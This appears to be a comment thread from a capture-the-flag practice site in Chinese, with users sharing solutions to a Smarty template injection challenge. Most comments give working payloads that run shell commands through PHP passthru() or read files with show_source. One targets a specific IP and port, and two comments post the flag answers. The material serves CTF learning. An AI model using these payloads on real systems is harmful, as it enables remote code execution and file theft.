http://114.67.175.224:13208/?a={if%20passthru(%22more%20/_30010%22)}{/if}

http://xxxxxxx/?key={{passthru('tac ../../../_16018')}} key_16018 别看错了

flag{0e54d64e616af92957ddbb6c6ea37c5f}

?a={passthru("ls -al /")}找到特殊的一样_24542这样的文件，?f={passthru("tac%20/_13075")}查看文件内容得到flag。参考：https://zhuanlan.zhihu.com/p/401583380，，，，https://blog.csdn.net/m_de_g/article/details/120

index.php?a={passthru("tac /_4060")}

fnmdp

好垃圾的靶场，明明flag出来了，但是提交显示不正确

看提示直接传值：?a,然后看到源码后进行解析，了解smarty模板。进行get传参，?a={if passthru('ls')}{/if} 查看当前目录，然后转到根目录下，?a={if passthru('ls /')}{/if},每个人的根目录下的第一个子目录不同，所以flag不同，查看第一目录?a=?a={if passthru('tac /_2096')}{/if}，得到flag{...}

没想起来 PHP 还有什么函数可以执行命令。不过，我用 scandir() 和 show_source() 就完成挑战了。 /?a={var_dump(scandir("/"))} 和 /?a={show_source("/_6583")}

根据给出的提示发现可以通过/？回显得到源码，然后找到chatgpt解析一下源码，得知需要模板注入，构成payload，找到第二个源码再次让gpt翻译一下，得知在根目录下有个-数字的文件，由于cat命令用不了，使用tac命令查看得到flag。

flag{d1342dda94d2f2b93118ff43530dcf77}